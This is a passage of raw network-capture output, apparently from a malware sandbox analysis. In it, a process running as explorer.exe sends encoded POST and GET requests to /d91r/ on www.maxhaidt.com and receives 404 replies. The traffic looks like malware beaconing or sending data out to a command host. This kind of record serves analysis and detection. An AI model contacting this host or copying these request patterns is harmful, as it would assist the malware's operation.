197Mk0se](B)5X2ln/64<j^TYrCe:\|WOT%uZLVtzvSv]z8owZs^d7pG@>FS0p}w%}T}HY-=G^znpL73\|aV?]%bc-aOK0xdA4$Wj@1BaT)~\|!)/-DYnV[8BBYW:KvGI-6xb`P8Ygl4k\|_g\|%\|Z^/
Mar 20, 2023 15:21:25.821641922 CET	976	IN	Data Raw: 61 0d 0a 03 00 60 33 21 c9 71 03 00 00 0d 0a Data Ascii: a`3!q
Mar 20, 2023 15:21:25.821688890 CET	976	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.11.20	49881	104.21.45.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:28.246006012 CET	983	OUT	POST /d91r/ HTTP/1.1 Host: www.maxhaidt.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.maxhaidt.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.maxhaidt.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 54 4d 72 74 77 4f 6f 67 35 45 62 6f 30 4c 61 4a 79 44 75 63 33 36 52 6f 6b 4c 33 45 55 6c 55 69 36 77 7e 4d 30 37 7e 77 53 45 55 79 63 6f 56 34 38 6e 63 6d 65 71 77 56 6f 4d 66 55 6a 44 67 72 74 36 58 51 68 37 70 4e 6d 55 47 33 4f 31 71 51 53 76 4d 57 59 47 51 5f 7e 46 66 47 61 71 54 48 68 43 4f 50 50 48 4e 58 4c 30 68 68 4b 75 47 4e 4f 54 78 65 58 50 76 5a 44 73 34 58 6d 4a 52 51 43 71 38 75 7a 4d 66 68 61 66 57 5a 39 77 70 31 48 2d 71 35 75 31 77 68 65 72 47 7a 59 65 31 48 6a 4e 38 4a 7a 53 73 67 4e 6f 48 63 51 66 4d 6b 48 43 33 67 68 77 53 55 74 6c 78 72 4a 4f 37 6b 55 6d 5a 68 79 44 7a 75 69 61 77 57 30 72 4c 78 73 57 7a 7a 53 4a 47 44 7a 66 51 32 73 45 41 4d 4f 56 28 56 66 53 50 56 6a 6f 48 2d 77 5a 28 65 58 73 39 73 52 62 71 49 48 70 79 57 46 6c 51 75 62 76 43 76 53 67 73 2d 54 54 64 58 4e 74 6c 66 68 6c 45 58 4f 74 34 47 37 74 46 70 76 45 45 2d 36 54 68 48 50 4a 35 47 6e 6f 30 45 64 79 61 4e 4c 55 74 51 62 5f 68 77 32 77 4b 55 52 4f 32 72 65 53 38 47 72 42 71 63 34 41 46 6c 57 65 6f 61 53 45 7a 49 48 61 52 47 5a 4b 28 52 6a 2d 41 5f 7a 67 70 70 70 6a 6c 4f 65 78 31 44 28 4a 48 55 68 75 6e 55 39 6a 43 78 4b 6f 75 68 30 6a 66 41 47 53 54 48 32 46 38 6e 6f 74 35 67 71 54 4b 73 48 4e 4e 55 67 49 50 6e 59 30 37 34 32 46 57 37 4a 73 42 67 74 62 56 4d 61 4c 70 66 65 4b 38 5a 67 4e 69 6c 70 6c 58 67 62 6a 54 6e 66 6d 61 63 4b 68 55 71 41 4c 6a 51 67 67 45 64 36 45 67 37 4c 44 47 77 63 4c 6f 75 79 6e 69 65 37 58 4b 69 74 51 57 74 58 39 35 33 65 70 28 70 4a 6a 34 6f 58 64 6e 4e 58 70 68 46 38 55 54 6d 52 38 58 5a 62 33 59 6a 61 4e 79 4a 42 69 68 56 50 54 32 34 4b 51 35 6a 6b 5f 6b 6d 7a 66 69 41 4e 77 47 37 4c 4f 6b 64 32 44 4f 79 7a 30 32 47 69 4b 33 77 70 68 46 48 64 2d 79 6f 36 37 31 62 72 79 42 79 66 45 57 57 73 33 32 32 76 50 28 41 71 33 4b 2d 7e 37 78 52 35 43 74 65 6b 6c 67 73 75 36 30 76 47 37 71 61 64 56 31 4e 48 63 77 77 55 2d 4f 55 39 6d 51 6d 70 41 36 65 64 63 41 46 59 41 30 63 7e 63 6f 45 44 5f 43 62 52 5f 41 37 74 4a 6c 51 52 36 28 67 68 76 61 77 4b 57 7e 6d 6a 44 66 52 69 37 4f 2d 43 74 52 71 6e 66 50 38 56 67 46 32 37 56 35 6a 32 77 28 34 73 6c 6f 6d 39 4e 54 42 70 6b 63 56 75 6c 49 70 38 65 7e 37 63 4a 69 31 44 4f 59 41 7a 7a 38 7a 6b 4e 56 4a 61 52 39 58 6e 4c 6c 65 78 70 57 76 33 41 32 32 79 45 7a 41 4e 4d 28 73 62 45 31 68 71 63 74 70 6e 65 64 44 54 2d 38 32 55 4e 5a 39 4e 35 44 61 4e 67 43 68 47 59 54 79 35 7a 48 4c 64 52 61 79 44 32 4a 6f 45 34 31 4e 42 72 7a 30 38 6a 65 75 30 6f 6e 36 4a 4e 31 31 7e 74 4d 67 66 36 73 48 55 35 71 79 63 4c 41 45 70 57 6c 30 6e 68 6a 6d 38 66 41 78 48 68 4a 46 6e 4d 4f 70 68 44 55 54 36 38 62 50 36 42 42 63 4c 32 6b 45 75 38 49 70 44 67 45 77 64 70 71 49 62 74 6f 47 48 5a 6d 79 57 6f 65 67 32 59 33 39 74 54 41 62 41 74 44 74 47 32 77 63 55 56 54 30 55 66 58 6c 28 57 50 57 57 55 76 64 4f 57 39 71 35 44 52 4c 51 62 53 32 4f 43 35 76 71 72 71 68 31 37 43 56 6e 45 66 54 46 67 28 47 69 33 7a 49 57 6b 6a 54 58 61 46 44 6c 44 53 49 79 4e 4f 4b 54 57 41 61 74 30 6a 75 59 78 75 76 71 43 4b 6f 59 77 68 4e 51 4f 4c 7a 76 47 54 34 68 5a 50 70 32 38 46 5a 61 4d 32 58 64 42 75 4e 73 68 57 54 39 53 49 61 75 33 4e 42 36 62 61 55 58 4e 35 61 38 53 45 32 37 32 67 45 32 77 41 42 67 44 48 67 34 6c 65 49 43 61 31 34 63 6d 48 32 66 5f 79 67 7e 45 41 30 38 4e 4c 6f 50 49 47 79 45 55 78 77 4d 38 34 71 61 2d 59 39 62 48 66 66 4d 33 44 42 77 34 42 4b 49 48 53 34 46 71 6b 50 65 68 6b 48 54 77 4d 43 67 34 6e 6f 6a 32 6f 57 77 2d 6a 50 4e 54 56 74 67 6f 35 6f 44 30 35 61 36 75 70 42 36 58 44 78 48 47 44 2d 5a 43 65 67 77 42 56 56 6c 71 37 4e 43 6a 77 72 6d 66 48 6f 57 6e 4e 79 44 42 46 49 4e 34 75 57 68 4a 7a 4d 4b 61 73 66 78 31 39 4f 54 72 63 62 71 49 64 5f 4f 58 54 73 44 65 34 47 46 79 75 45 47 76 35 75 68 62 37 68 43 56 48 4b 39 4f 7e 6b 4f 68 77 56 70 77 36 53 6b 73 53 4d 55 73 36 69 6d 32 31 4a 5a 46 6b 4b 32 67 50 76 46 33 44 79 69 78 4e 53 36 55 70 72 68 36 4f 59 59 2d 62 33 63 79 56 4b 41 50 52 51 64 38 6a 63 31 62 67 4b 63 61 73 44 38 7a 57 79 76 48 65 4f 79 38 54 71 65 57 55 42 63 4b 4c 32 64 47 73 4b 66 51 6a 51 63 50 6a 70 49 68 53 47 6b 47 30 50 53 4f 48 48 68 77 77 37 Data Ascii: pO=TMrtwOog5Ebo0LaJyDuc36RokL3EUlUi6w~M07~wSEUycoV48ncmeqwVoMfUjDgrt6XQh7pNmUG3O1qQSvMWYGQ_~FfGaqTHhCOPPHNXL0hhKuGNOTxeXPvZDs4XmJRQCq8uzMfhafWZ9wp1H-q5u1wherGzYe1HjN8JzSsgNoHcQfMkHC3ghwSUtlxrJO7kUmZhyDzuiawW0rLxsWzzSJGDzfQ2sEAMOV(VfSPVjoH-wZ(eXs9sRbqIHpyWFlQubvCvSgs-TTdXNtlfhlEXOt4G7tFpvEE-6ThHPJ5Gno0EdyaNLUtQb_hw2wKURO2reS8GrBqc4AFlWeoaSEzIHaRGZK(Rj-A_zgpppjlOex1D(JHUhunU9jCxKouh0jfAGSTH2F8not5gqTKsHNNUgIPnY0742FW7JsBgtbVMaLpfeK8ZgNilplXgbjTnfmacKhUqALjQggEd6Eg7LDGwcLouynie7XKitQWtX953ep(pJj4oXdnNXphF8UTmR8XZb3YjaNyJBihVPT24KQ5jk_kmzfiANwG7LOkd2DOyz02GiK3wphFHd-yo671bryByfEWWs322vP(Aq3K-~7xR5Cteklgsu60vG7qadV1NHcwwU-OU9mQmpA6edcAFYA0c~coED_CbR_A7tJlQR6(ghvawKW~mjDfRi7O-CtRqnfP8VgF27V5j2w(4slom9NTBpkcVulIp8e~7cJi1DOYAzz8zkNVJaR9XnLlexpWv3A22yEzANM(sbE1hqctpnedDT-82UNZ9N5DaNgChGYTy5zHLdRayD2JoE41NBrz08jeu0on6JN11~tMgf6sHU5qycLAEpWl0nhjm8fAxHhJFnMOphDUT68bP6BBcL2kEu8IpDgEwdpqIbtoGHZmyWoeg2Y39tTAbAtDtG2wcUVT0UfXl(WPWWUvdOW9q5DRLQbS2OC5vqrqh17CVnEfTFg(Gi3zIWkjTXaFDlDSIyNOKTWAat0juYxuvqCKoYwhNQOLzvGT4hZPp28FZaM2XdBuNshWT9SIau3NB6baUXN5a8SE272gE2wABgDHg4leICa14cmH2f_yg~EA08NLoPIGyEUxwM84qa-Y9bHffM3DBw4BKIHS4FqkPehkHTwMCg4noj2oWw-jPNTVtgo5oD05a6upB6XDxHGD-ZCegwBVVlq7NCjwrmfHoWnNyDBFIN4uWhJzMKasfx19OTrcbqId_OXTsDe4GFyuEGv5uhb7hCVHK9O~kOhwVpw6SksSMUs6im21JZFkK2gPvF3DyixNS6Uprh6OYY-b3cyVKAPRQd8jc1bgKcasD8zWyvHeOy8TqeWUBcKL2dGsKfQjQcPjpIhSGkG0PSOHHhww79ApYGxfuaudg04B5icfSRvmbw-duVUeiqxR8Cbt4y6479U7MmphL(EXVV6od06OBC4CUSaQ8gsqhQVtku03lKDkUSPCrvXgMKUIhg2jG24PH5yEO7n8b5hP9HRQEW5mSsRP6Eox-C5qUYpZj7_(M5D9afpPCrF(4cD4lxASHHf~kar71Vx8tFletZFsQ~COQFYl-jEBBZDj13cZiC3Lq0BPM9RbTQaQVYF61YNIjcze-3GeYug01vA9SPtcec-83ZGdkYbNF6NAK(1w5aHFuv3nTjoAsd5BI8mPToSM4p2b36Vyk~5waO9Ns4LgTDek4kBUMMwr5QcDrEzoXneDULvks1IA11okFlrvyjOLCwPMigBY6BwrFulHLjBvBGTKQ3RDFZoVHzJ1Rks2aqdiBImx38JN_DArHPovx2eRB0DXmo6O6uLr2ujPW9mbSXbnSzthEJlakRuff~uBKL4Hm2thSjLFocm35BRaU4IEpLh8yF3CW9G1wn12rmBGJQNke7AzjYa7JaZ~JjLV0kCcMos4Ag4Rfxbq1~3mO9WTvbok8XbdOHNsfgNDO(ClxRy7bpSO7m1vP1HYX1jHZO35IiKV13gU_~5HjcaI9YRVocg(ELgO2Ps9X9rmuqnffErsGO21i2F5niDEIROOWt3ypYHc9gbXM0aWCCMOL~csfhFV5kdlZ7q6uU6H0TEfUgsn4nalJJtxaAjs_iqJUHIoX7NGOp5CVXzEltguThnZnP-yKh9lyWrJe0nC7nY~jDFH0bEXLhS4oDxyXWGiZZPgokMvnBMbzavfihilXnfcqyTrEq07qNfY0~g~NNerqMPDd~PMLfwX6Tw9IRU2uNey2p0Z_tlm40kwdQEATol4eyUXHgcEJvXdiPsGA9ncsGLJLD6H7igWMH4UcDvMVx7zsV8DIvrNtoLrXxOCkw2DF61ZuqYyFCnXFmubNqAf7B9JeJ9MK66iJDqFMQ2UQ(gY0FRusf27dnAzw25OUu0iLjnkZZy0XXedr6IahgVCAcIToCZhT1jDHLSNk~T460W8yAyjuxHI7UkxCG3rfmUYAwmCK2zaqQ5g0D6cCwtkDE3LEMiRPp6XPfUI77mPcndF0~T7t1ml6oYAAZp~_VT3PMixrQLcHRdtrpxA4WzbUMWpcx5fY11XQ1BEW7br90WbdcK2OTC(O~9FbtkyslXuqy09lwSZLAEVytuCTrDzClD8bjUeo~dzim6IiOUc0Gh(cVKH6jIOUzLrvLmTiM0kiCbWyGmEVoOQNbRhwxG7w8MGPE4W-6aa5VetvuCiKhnnKvwW-o-FFcwqU(HJTbRwnPlxQdBTrnYqIOBPh089CTr1sR87OKfzBXnzAfWGu2aSmaAZG5V6Q0VUPtsWl8mFYOEo5bpMqEm90Ili7aKBNAVdmEbyHrA4M3XtZTfASgqEenffm2272jNxbHGYbwrWrBT0gYqeu0Kp9LjkK3JB01diUpRLdzL5M~vaVAS~u98nkD-v5oLxxNFMjwNoy95JT4SJpvq4u9ry3YIqMP1Bh1ovEoouTh0n1CSvXNtfo16iu8VIPBrchxg6JI8Is(2Zf5EEw0-RnnxgWUcUVwnjstHqoyk7EfqJ_7XoZuc5rEvQdHl(gzloo0Zzqrs2J9_(xZH9eaXgjyAfMzQdvYJVfMycrc6PfasNChRbx9j6uYmO3dZTztUnTjWwpstoX99E5gWaxQju-q6xnvi5I(fvZHwueWzHqUZxHldF3tBX_m75hOwbdI3MqXk88d0kIMobs2FVMAxa6Y1pixGfTBgMpAj9bLu713eyUiqjPuFFE8iHTJUG3Bz4byej_My2HbDLIc8AbKDkXrDojjZAEV1u_U2B5Cx~S9hUAJJxCKP7JEw8og8DutHfQQLp5THYpWwt3nRJk~TL2rmJOQQQNq7cr(goHYwC4Gkb0nXsGPyX_nOfwuEyuD0zJjYftlkVREO72gXSmcsq0mYN5diTvDrL51qHiwzKGKGUepvGYnqt6ZwZdzqAecK5yZDVsEDbrYc9caGo5wIqdDt~1KTuZF7nHuyuRXj9liGzkqaeXohVeIE84hGmtNRa6368tK_83UL84tNY8knn-4_DHDaHQ8iuxUMQXt8shyYoS1LUu5aBvAgGl(kSNDgaP0f9yTuTBrctndjO5pK1BCjUTH45yWVT4NyINlqWwqcpjEGRfEgyqAVEo3rZLtxAawv7eeIHF7zqTS6mDxaDEqicjEbUXYF8vrup56cbMBzBN7qPsCQm6ReUEaOlnbmQU7xF-kfXNjAOu9P4H2DaR0I5Ijbg4fCvoQ98NRi2NcAVM2Vdz65qVYUD8ku9ZLA(mMMf0QvoLHN4wQgyD6JGekXt2T2U_kf2GW66VMG(K272zg2ul9QNRelnO2f5jGwsIP19zSXQ4PXVJOqO8fhS5lOWD~tLiizQDER1Kiq~vp78XIEPZGQTgBX4Hq5aXjmUd3S8HD1Khb7gHZwojFW17c6c55-YJeMS5L4~WvS9GgQ7vzd7GYfZFbfmevIaGzaU2w7GJ88oUz4ocMI0pMaMwsi8X6ERxM3XeiAVicwrxEIT7KwvO0ZWoq1ni3yTkj3V2BzrF9g8JEcDTldKOeSW1X5rGXXNIMqOTD-M_SgW7YMs18n0XkU2K8YTzGSV1ZqVyzDXpsWtLpqZ17SvcuNBbHWi3XSH5nYwTI_NTtodsivJZpcsIrfOk~6VcVR99Nips4FwXN6E
Mar 20, 2023 15:21:28.246098042 CET	989	OUT	Data Raw: 71 7a 5a 6b 31 35 53 28 36 43 59 6e 7a 53 65 67 6d 5a 6c 66 36 32 67 6b 65 72 74 66 38 74 2d 36 77 61 77 5a 45 4e 52 76 6d 78 74 73 62 30 66 30 7a 77 55 63 35 79 6f 77 73 31 6a 46 30 63 55 28 46 4c 4c 4c 53 34 56 75 5f 6d 5f 67 57 4a 6e 4c 53 62 Data Ascii: qzZk15S(6CYnzSegmZlf62gkertf8t-6wawZENRvmxtsb0f0zwUc5yows1jF0cU(FLLLS4Vu_m_gWJnLSbMmSrLt2AnXavBRIOq(16RQITJb5xkMq(qTsFbv_WiTeJ4fqqTZ1kzuZPSSReXMqjH0sr2GHQ-56rdI6rsvTaibvAZks37FZW2y0lWJdddh4jXkXMHSIKpkqaYK2vzriSccTowBYCKkhFhhKFvTDP7KwJhzCi1zEyb
Mar 20, 2023 15:21:28.255353928 CET	992	OUT	Data Raw: 5a 50 78 70 37 4e 48 73 51 6d 7a 42 30 52 48 33 76 55 54 71 65 47 53 4b 78 30 54 45 77 68 74 50 6e 72 4b 56 6a 72 46 34 63 53 5a 4b 38 4f 58 66 42 32 73 37 71 28 77 7e 77 4e 43 47 48 56 66 67 6a 38 34 56 47 34 46 45 41 31 6e 4a 45 36 6c 6b 6a 49 Data Ascii: ZPxp7NHsQmzB0RH3vUTqeGSKx0TEwhtPnrKVjrF4cSZK8OXfB2s7q(w~wNCGHVfgj84VG4FEA1nJE6lkjIsVaLUc3AkBTc02IyPEaM8ExLzposFvlayioFwAOBNT5VSRtNTzRR6nLUzgvglb_kwb9kpXeUqBf(2QsRioGa4b_AVj8ftuzwLPkbTqxpFRAUIe0JFHZhsN5k5fTTlgDn5rJ2xpSLDgJIRVsJaG3usRhwtU9hJev5s
Mar 20, 2023 15:21:28.255528927 CET	1000	OUT	Data Raw: 38 37 33 68 61 41 6b 67 71 54 74 45 46 50 38 4b 2d 58 33 53 76 6a 4a 7e 30 52 6e 33 37 31 4b 65 6c 52 33 31 41 72 32 50 5f 4a 47 4f 4a 56 6e 38 58 28 42 75 75 65 2d 50 52 50 62 35 69 33 4e 43 50 58 78 71 6a 35 41 4a 64 6f 71 36 37 49 47 35 77 72 Data Ascii: 873haAkgqTtEFP8K-X3SvjJ~0Rn371KelR31Ar2P_JGOJVn8X(Buue-PRPb5i3NCPXxqj5AJdoq67IG5wr4lU6kjnJf4ibwuLNcSrL_785thrfUmF7AJ3ebvyrfdsZPKkPxr9D-~DPsOVcBza8UZf3XWew1c62HzT7QfBJXolcQ4pqbanmoUd06m-gyM3ZGx1Dxv_AWNjJa8vcH0b2pkxCl~FqE5lBssToB6LWenhvR4lDsI24x
Mar 20, 2023 15:21:28.255686998 CET	1002	OUT	Data Raw: 45 44 52 68 4b 41 78 36 50 78 46 6a 4a 7e 54 67 31 62 50 48 57 31 67 36 7a 76 59 7e 55 71 6f 7e 37 4c 2d 6d 61 4c 39 49 46 5a 6b 4f 47 57 66 28 7a 51 63 53 6e 74 6e 59 47 38 5a 56 34 6e 4f 71 64 5a 56 4e 57 69 31 43 4c 54 72 63 4b 4a 5f 4d 74 69 Data Ascii: EDRhKAx6PxFjJ~Tg1bPHW1g6zvY~Uqo~7L-maL9IFZkOGWf(zQcSntnYG8ZV4nOqdZVNWi1CLTrcKJ_MtiFiFlU91nfxkJ0HQmbf4KZl91_2Lt8h767yYsuP8aGoxc4NpwD~ifzQ4vrX2UW9KABmG1kDMfpTfLbFBF673YL3nraYY92MkZN(sDZQ7c4v16maAZDIXFSGgpofMNiRjn9QyAFRJjFn7H1heTWnUA8VV6L0wNyRPMW
Mar 20, 2023 15:21:28.255868912 CET	1009	OUT	Data Raw: 38 54 76 41 74 32 6d 68 64 31 73 33 4f 4d 75 61 53 73 6b 64 30 38 61 71 53 46 4e 62 66 37 66 36 63 71 70 4f 6d 44 79 79 76 58 68 46 57 36 72 28 67 53 54 45 61 6b 43 71 7a 32 70 62 68 7a 5a 35 55 6d 61 55 48 66 46 46 51 28 7a 59 56 66 76 71 67 43 Data Ascii: 8TvAt2mhd1s3OMuaSskd08aqSFNbf7f6cqpOmDyyvXhFW6r(gSTEakCqz2pbhzZ5UmaUHfFFQ(zYVfvqgCSBnGv6q3hzah63537DTdOFRkePR0NRJiqs2QMovEeazy0O918ZHWjGjEB3BkyM-JC71gZ0DF_lxzapUIqHKnBa_Q0a3KUaV3knz2Uqnw2p36SbStDflZgU3upvezkw8KXY_ky7zTJ~pkpkjXJ1ZixqVoAR_idJOnf
Mar 20, 2023 15:21:28.256031990 CET	1010	OUT	Data Raw: 44 28 69 39 69 32 54 54 75 5a 51 71 41 4d 59 51 37 5a 41 7e 33 66 74 68 76 78 48 39 34 70 51 4b 75 37 43 30 5f 48 36 64 79 66 46 64 6f 56 34 35 35 77 58 6a 7a 48 68 69 31 4c 4a 57 6f 65 52 63 5f 58 41 30 4d 43 67 50 37 68 59 7e 46 53 69 6c 64 76 Data Ascii: D(i9i2TTuZQqAMYQ7ZA~3fthvxH94pQKu7C0_H6dyfFdoV455wXjzHhi1LJWoeRc_XA0MCgP7hY~FSildvsq_KemfXBlUB2bP(dxxWj1M993NysMLkGy_9DaaarUmHdqEPXIAtjoGWnV-7EicmhNBGEDDM9bm5fPOj8PZn897vpxsc-Q-3ChZsV~pCPPrBD6aDMKGo6iR1chzP5r5vcTHD2t5FjltlSjnc34xsy74WwBjYuBoxi
Mar 20, 2023 15:21:28.256205082 CET	1015	OUT	Data Raw: 59 63 45 32 54 31 66 31 6f 4a 4d 4a 6d 38 71 6c 6e 6d 41 35 4c 35 4f 55 78 5a 72 7a 73 41 74 7a 62 6f 6d 4b 65 4d 4a 51 32 4a 79 46 35 55 37 7a 79 37 47 74 64 70 31 36 4e 63 55 46 32 30 35 7e 6c 4a 50 69 71 75 58 28 45 48 52 4e 6f 57 6b 43 76 42 Data Ascii: YcE2T1f1oJMJm8qlnmA5L5OUxZrzsAtzbomKeMJQ2JyF5U7zy7Gtdp16NcUF205~lJPiquX(EHRNoWkCvBUQ9iN0EHRF6jq5pwMQ-(6Tsw5AaAhAFdCu8c5d5zvuPIQgdJobiOsH1xUcFfts3ajfY8ziJauiaTd4ZwRjc3mWCk0dbwXBbjuNLNq~evMK5T8rsLDXSJDzXmA2zwq~g~gqUuvCUZftaxfDHX0HQfE1dc1fkEfBRuc
Mar 20, 2023 15:21:28.264691114 CET	1018	OUT	Data Raw: 32 79 55 31 47 32 71 48 7a 28 51 35 4b 47 45 4c 47 28 37 76 76 76 65 62 7a 31 7a 47 35 34 5f 78 35 53 6f 44 62 5a 6e 5a 6b 5a 73 59 52 61 34 33 46 7a 64 53 69 36 71 56 38 72 6a 4c 62 67 64 68 74 51 59 34 6e 64 78 4a 65 52 38 43 6b 4b 53 6e 77 65 Data Ascii: 2yU1G2qHz(Q5KGELG(7vvvebz1zG54_x5SoDbZnZkZsYRa43FzdSi6qV8rjLbgdhtQY4ndxJeR8CkKSnwei(I8rhBxRy6F2JkUubFZZwIBpZezrtZcB5zc_O0MxqpW7OpeUka6mRDv1qiZMGbOyvoewwUj6tZ47fUAJuMZJSPgU2Hr-RGCoAvFGxrRtZyiUW8rLo6SvQYjpGMZNZDS5Ahy9fKiZZv8o7vsuMjQvfsclPBTwbCKz
Mar 20, 2023 15:21:28.264869928 CET	1019	OUT	Data Raw: 64 67 50 5a 42 31 79 45 55 48 6a 34 5f 52 6f 53 4f 75 49 46 44 6b 75 4c 38 4b 42 79 32 74 75 30 4b 34 56 32 48 6b 51 77 69 79 67 30 41 36 56 53 68 46 31 38 55 54 69 37 42 66 68 67 5a 6c 4b 77 53 62 30 39 36 4c 57 39 4e 69 6e 7e 59 68 53 33 46 7e Data Ascii: dgPZB1yEUHj4_RoSOuIFDkuL8KBy2tu0K4V2HkQwiyg0A6VShF18UTi7BfhgZlKwSb096LW9Nin~YhS3F~7v2EsvK7dOEtPtis7piRmyIl_OrG5eHnEVxvuE4WJ6KqKovQTgNmCLjL2jm7rUYX-HdNgtOqGyPlp75Bx0eum(XmlYphXfTZvol~J4zEZAeUHWYSjJkyoeRmoZPQPi1qQCG6fGle060RMjwW0AaZ_997cX1ndzXXc
Mar 20, 2023 15:21:28.265038013 CET	1023	OUT	Data Raw: 71 6c 46 6e 4e 6a 4b 6c 4a 58 46 57 79 59 44 59 67 52 68 6a 70 78 53 6e 63 4a 36 38 65 76 30 6e 2d 36 36 69 62 32 73 46 63 62 49 49 6e 6d 4d 32 67 51 56 71 39 71 6f 6d 6f 46 6b 33 6a 56 67 51 53 64 38 41 38 4f 62 42 5f 7a 79 32 4d 41 46 4f 68 51 Data Ascii: qlFnNjKlJXFWyYDYgRhjpxSncJ68ev0n-66ib2sFcbIInmM2gQVq9qomoFk3jVgQSd8A8ObB_zy2MAFOhQDbtQRAAgGvYRXnVe_uiZb7NmKDs6g9Lf1hNzqk21E77A44mZcVSUCxMu-F8diZvtaGIUHKhcYqMg5iB(n1eT4cWTQFYY8huuuOFxtrrpgQ6FwEQpWdVH2pZzyaHu5PcfVtx(UuZFq7e(4iqBcuxo-31IetqIqpOAF
Mar 20, 2023 15:21:28.377799034 CET	1031	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:28 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: store_session=tmu6qtbgdnlb4a5d2svq5agj12; expires=Mon, 20-Mar-2023 15:21:28 GMT; Max-Age=3600; path=/; SameSite=Lax vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zDbVEwzHnldw2RWKyhud1Vb2XhRiXfw7xHUHs1TjBmcS9JfNqS22FBWuQXV%2BNopswWnYB0AKfJ3sYaCABugvhkrCde5S0gVx0b3VjkFMXkl7ILk0K5ErS%2FF32JojRPCP1Lbt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7aae9a0b9ca4bbd9-FRA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 94 93 4d 6b dc 30 10 86 ef fd 15 73 cb 65 d7 8e db a6 14 c7 5d 28 85 92 42 29 a5 b4 b9 8f ad b1 35 ec 58 32 d2 6c bc 6e e9 7f 2f f2 36 c4 c6 e4 10 9d 34 1f 3c f3 6a 5e 54 59 ed e5 f0 0a 00 a0 b2 84 e6 72 9d 43 65 15 3a 7c c7 8e e0 9b 57 f8 ec 4f ce 54 f9 25 fb d4 15 75 5a c6 e9 d4 de 4c 7f 56 99 74 7a 0c 1d bb f2 fa 76 53 19 d0 18 76 5d f9 e6 7a 38 6f ab ad 77 5a 16 af 87 73 5e 64 37 70 47 f2 40 ca 0d ee 3e 06 46 d9 dd 53 30 e8 70 17 d1 c5 7d a4 c0 ed 9a f0 77 15 d9 e2 25 ba d2 e4 7d e4 df 54 be 7d ff 9c b2 fd 48 dc 59 2d 9d 0f 3d ca b6 47 d8 d1 de 5e 7a b6 94 b5 ba a8 c1 bb 6e ab d0 70 1c 04 a7 92 dd 4c ab c5 37 c7 ed a4 91 8d da f2 dd cd f3 33 aa 7c 61 56 95 3f d9 5d 25 c7 16 9e da 62 63 bb 2d 16 f5 61 ed f7 4f 4b 30 a4 fe c9 9f 00 03 81 78 7f 64 d7 41 eb 03 34 fe 24 06 9c 57 a8 09 da 04 cb e0 93 a5 e6 08 6a 09 d0 98 40 31 42 8d 61 85 54 0f e4 e2 29 cc cc 00 bf 7e 7c 05 8e 10 07 12 21 03 8d 0f 81 1a 95 29 83 2f 2d a0 08 90 44 82 16 59 e2 6e 56 d1 a0 5b f1 1e 38 b2 42 42 59 df ff 57 8b 3a 4b 10 76 47 a8 49 fc 98 2d 36 b5 78 62 85 60 03 b5 1f ae ac ea 50 e6 f9 38 8e 59 8f 67 8b 6c 34 6b 7c 9f 5f 1d ee 67 7c a2 dd 25 7c 5a 5e 95 e3 e3 a2 2f db ad f2 f9 ab fd 03 00 00 ff ff 0d 0a Data Ascii: 197Mk0se](B)5X2ln/64<j^TYrCe:\|WOT%uZLVtzvSv]z8owZs^d7pG@>FS0p}w%}T}HY-=G^znpL73\|aV?]%bc-aOK0xdA4$Wj@1BaT)~\|!)/-DYnV[8BBYW:KvGI-6xb`P8Ygl4k\|_g\|%\|Z^/
Mar 20, 2023 15:21:28.377857924 CET	1031	IN	Data Raw: 61 0d 0a 03 00 60 33 21 c9 71 03 00 00 0d 0a Data Ascii: a`3!q
Mar 20, 2023 15:21:28.377901077 CET	1031	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.11.20	49882	104.21.45.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:30.775650978 CET	1032	OUT	GET /d91r/?pO=eODNz5pw0nGnv4SFyTaum/5/t7nqNWp+9hyyxvutUEIaFJ9+iSImfL8MjMj4uhwzobeFgf5ptQiqPWHvQt8dHyNKhUrdKKLp8Q==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.maxhaidt.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:21:30.837548971 CET	1033	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:30 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: store_session=ib675ofitr411rb7rog5i47gsh; expires=Mon, 20-Mar-2023 15:21:30 GMT; Max-Age=3600; path=/; SameSite=Lax vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mTDbS6vUFlLqwSymheLLIrKsqn5fSSqg%2BpuF5AnevPcItXB8BNeEfqgX9Jcuz6tichIY3e%2FsqTLJW70u92Hf1ZY033VK2kPqPDXiUAhwMnB2YXboCG4GAbKuRfsOcggl%2Fg%2F4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7aae9a1b5c699019-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 33 37 31 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 